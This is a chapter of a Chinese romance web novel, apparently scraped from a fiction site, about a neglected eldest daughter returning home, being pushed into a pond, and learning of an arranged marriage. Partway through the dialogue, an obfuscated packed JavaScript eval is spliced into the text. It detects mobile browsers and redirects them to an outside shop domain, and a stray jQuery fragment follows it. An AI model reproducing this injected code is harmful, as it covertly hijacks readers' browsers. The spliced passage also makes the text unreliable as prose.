文趣网 > 其他小说 > 纨绔夫君他不对劲 > 2. 第 2 章
    午时,沈玉笙进了沈府。

    甫一进门,管家便热情地迎上来,引着她主仆二人去往小姐居住的园子。

    十年过去,沈府似是扩建过,多了一处山水园子,其余还是老样子。

    唯一的不同,是她的院子没了。

    “这怡红园目前只住着二小姐一人,您今日搬进来正好做个伴。”管家一路引着二人踏入园子,停在一处庭院前,“大小姐,您今后便住在这里。”

    他指着园子另一面,“二小姐住在东边的院子里。夫人说了,您若是得了空可以到她那里或是二小姐院里坐坐。”

    沈玉笙看着眼前这比别院大了一倍不止的院子点头,“好,有劳管家。”

    待老管家的身影没入园子的假山后,青烟才扶着她进门。

    她们行李少,统共也就四个包袱。

    当年去别院时好歹还有两只大木箱,如今十年过去,从前带过去的东西坏的坏,变卖的变卖,尚存的东西少之又少。

    院子里原有的两个洒扫、浆洗丫鬟聚在一处,观望门前衣着朴素的主仆二人,见她二人步到院子中央,才不情不愿地上前行礼,唤了一声“大小姐”。

    沈玉笙摆了摆手,径直进入堂屋。

    这院子应是临时规整出来的,方才她见院子边角还有些杂草未除。

    青烟放下行李,转头冲门外的两个丫鬟道:“去打点水来,小姐要洗漱。”

    按照礼数,她理应梳洗一番后,拜见父母。

    洗漱完毕,她换了一身干净衣裳,临出门前青烟开口:“小姐,真的要去吗?”

    “方才奴婢看了,这院里没有灶台,管家说了那么多,大晌午的也不说传饭过来,我看分明就是有意刁难小姐。”

    沈玉笙绕过她,推开堂屋的门,“正因如此,才更应该去。”

    此时正值晌午,却不传饭过来,这是有意逼着她去给当家主母请安。

    现如今,沈家的当家主母是那位继夫人。

    既是她想要的,去便是了,人总不能和饭较劲。

    更何况这一路上管家相陪,安排得这般妥帖,她若不去,怕是要让人乱嚼舌根。

    这处叫“怡红园”的山水园子也不知是谁起的名字,足足占了沈府三分之一的面积。

    园子中心是一片莲池,四面草木、山石环绕,东南西北四个方位各设一处庭院,而出园子的月洞门安排在东南角,是以她要去主院必要穿过这片山石。

    靠近莲池越近越能听见流水的细微声响。

    两人一路无话,前行过一处叠石堆成的假山前,偶然听见一男一女低声说着亲密话。

    女声娇媚:“好了,你快回去吧,一会儿我还要去娘亲那里。”

    “婉婉,择亲宴上你可不能多看别的男子一眼!”

    “嗯~”一声嘤宁,水声响起。

    接着那男声再道:“再香一个。”

    沈玉笙站得位置好,那假山缺口正好方便她看清眼前的情况。

    落后她半步的青烟不知她为何停下,上前边唤她边探出头去,待看清池边抱在一起啃得正欢的两人,哑声惊呼:“小姐,这!!!”

    沈玉笙连忙捂住她的嘴,将她拖离池边,七拐八拐地看不到抱在一起的两人后,才稍稍放缓脚步。

    她心怦怦跳个不停,仿佛要跃出来。

    青烟更是后怕,紧拍着胸脯,“小姐,这园子里怎么会有外男?而且那人看着……看着怎么像是二小姐?”

    怡红园里伺候的小厮都穿着沈家统一发放的制服,而池边那位显然不在此列。再说那女子,从衣裳料子到手、颈、发间戴的皆非俗物,除了沈家二小姐的人选再想不到其他。

    “嘘,休得胡说。”沈玉笙抬手制止她再说下去。

    缓了几息,带着青烟欲加快速度穿出假山,谁知背后猛地受力,被人一推双双落入莲池。

    等她从水里冒出头来,池边石后已是空无一人。

    “小姐!!救命!!”

    沈玉笙会水,而青烟不会。她听到呼唤回头,看着青烟在池里起起伏伏喝了不少水,赶忙游过去。

    池水距离岸上有些距离,单靠两人很难上去,不得已只得放开嗓子喊救命。

    等两人从池里出来已过了半个时辰。

    “哎呀,怎么这么不小心,怎么就会落了水了呢?”继夫人柳氏坐在沈玉笙床前假模假样地抹了两下眼泪。

    满园子的丫鬟小厮不少,沈玉笙也不明白怎么就喊了那么久才来了一个老婆子。

    她靠在床前看着柳氏抹眼泪,不发一言,只在压制不住的时候轻咳一声。

    “你这丫头本就身子亏虚,如今又落了水,若是病了,秋宴上还如何见人?你今年已有十九,再拖下去怕是不好,你父亲同我已帮你相看好人家,只等着秋宴上见上一见。”

    沈玉笙低垂着眉眼不吭声,心道:你若真怕我病着,现在就该给我找大夫,而不是在这说教。

    她不说话,柳氏一人的独角戏也唱得起劲,“不过,好在给你相看好的人家是我娘家侄子,届时我同他说,让他过来瞧瞧你便是了。”

    沈玉笙这才知晓,将她叫回来打得是这个主意。

    若早一步知道,她决计不会进这个门。因为她清楚,在这个时代婚姻之事她的意见不重要,重要的是父母想把她嫁给谁。

    索性闭上眼,盘算着怎么拿上些银钱跑路。

    至于她娘的那些嫁妆……届时恐怕无暇再管。

    柳氏见她油盐不进,一副不耐送客的模样也不多待,留下一句“你好生歇息,我会同你父亲说叫他今日莫来打扰你”,便带着一众丫鬟婆子回了主院。

    二人从池边回到院里,前脚沈玉笙刚换完衣裳,后脚柳氏便进了门,可怜青烟穿着一身湿衣裳陪侍。

    等众人一走,沈玉笙睁开眼,“你也快去换身衣裳吧,天凉别病着,你今日受了惊,明日便休息一天。”

    青烟微颤着身子哑声应是,出门时正撞上一肚子气回来的竹翠。

    竹翠一怔,拉着她左右看,“青烟,你这是怎么了?怎么浑身湿透了?”

    青烟还没来得及回话,听到声响的沈玉笙先一步开口:“先让她去换衣裳,你进来我同你说。”

    竹翠这才发现自家小姐也躺在床上,她连忙放开青烟,三两步进门,“小姐,你们这是怎么了?”

    “失足落进了莲花池。”沈玉笙言简意赅,不欲多谈,反问她,“怎么样?”

    竹翠知晓她说的是让她去百花楼前接铜钱的事。

    一想到这个她便来气,一股脑地吐苦水。

    她到时,那几位锦衣公子已不见,只剩下先前那几个随从在撒铜钱,也不知是她倒霉还是怎么得罪了那人,她站哪,那人便不往哪抛。

    “奴婢站东边他抛西边,站里他抛外,挤来挤去地可累死我了。”竹翠撇着嘴摊开手,“您瞧,忙活了大半天也才三个铜板!”

    沈玉笙看她那不服气地模样,不由笑出声,“好了,三枚也不错,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17917126|213364||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你、我、青烟正好咱们一人一枚。”

    竹翠哼了一声,“小姐,没准换个人来撒,我能接的更多!我看,他就是故意和我作对!”

    竹翠的话倒是没有冤枉墨二。

    陆景渊从百花楼出来回府的路上,墨二狗腿地上前邀功,“主子,您猜属下方才瞧见谁了?”

    陆景渊没应声,只淡淡横了他一眼,他立马反应过来这是在外面,挠着头讪笑着补救,“世子爷。”

    他不敢再卖关子:“属下方才看见那马车上的丫鬟了!”

    他这句话很好地吸引了他家主子的注意,陆景渊瞥了他一眼,示意他继续说。

    墨二一下子觉得自己做得特别对,自信开腔,“那丫鬟也来接铜钱,嘿嘿,她在哪属下便不往哪抛,就溜她,谁叫她家主子的马车扰了您的兴致,该!”

    陆景渊瞧他那咬牙切齿不解气的劲儿,眼睫微动,忍着头痛,沉声道:“从明日起你还留在府里,换墨三来!”

    “啊?为什么啊?”墨二小跑着追上他。

    他常年留在府里看院子,好不容易今日新设的茶楼开业,千磨万磨才跟着出了一趟府,怎么就又要回去了?

    再说,晋王爷战神名声在外,王府守卫森严,哪个不长眼的敢撞上来?有什么好守的?又哪里用得上他?

    “世子不要啊~”

    陆景渊不理他,只默默加快了回府的步子。

    “好了好了,人家又不认识你,做什么要针对你?”沈玉笙从竹翠手里取过一枚铜钱,“你留下一枚,剩下的给青烟。她今日落水受了惊吓,我让她今明两天休息,你晚些时候拿给她。”

    竹翠“嗯”了一声,摸着肚子可怜巴巴地望着沈玉笙,“小姐,忙活了大半天,奴婢还没吃午饭呢。”

    沈玉笙沉默片刻,按照沈家的规矩,这会儿已过了放饭的时辰,便不会有饭给她们吃,好在前日卖香粉时,买了几块糕点就为了回府路上垫肚子,这会儿倒是派上用场了。

    “你从我包袱里拿出那糕点同青烟分吃了吧。”

    “小姐,您不吃吗?”竹翠眨巴着一双大眼,那可是她家小姐最喜欢的芝麻糖糕!

    见沈玉笙首肯,她欢天喜地地掏出糕点跑去青烟的屋子。

    不多时,又气哄哄地跑回来。

    沈玉笙都没来得及翻身躺下,“谁又惹你了?”她瞄了眼她手里的糕点,明白这是青烟同她说了什么。

    “小姐,她们欺负人!您也没有用饭怎么不说?!”竹翠捧着油纸包蹲坐在她床前的脚踏上,低着头借着擦汗的动作偷偷抹了把眼泪,“小姐,咱们一起吃。”

    沈玉笙没伸手,只问她:“青烟的呢?”

    “小姐,您吃吧,给她留了。”

    沈玉笙这才放心地从中取过一块。

    芝麻的焦香在唇间炸开,今日的糕点比往日都要甜。

    “对了,竹翠,你可知那撒钱的紫衣公子是谁?”沈玉笙将手上粘的芝麻粒汇在一处往嘴里送。

    这般给百姓撒钱的“傻子”可不常见,若是再有这样的事,她一定带着竹翠、青烟一起去!

    竹翠抬眸瞥见自家小姐如此节俭,再想到那楼上的公子哥大把撒钱,同为世家子女待遇却天差地别。

    再想到那随从的嚣张劲儿,眉头都不自觉蹙起来,“那紫衣公子是晋王世子陆景渊,京城有名的纨绔!小姐,您问这个做什么?”

    沈玉笙凝眉:陆景渊?

    这名字有些耳熟,似是在哪里听过。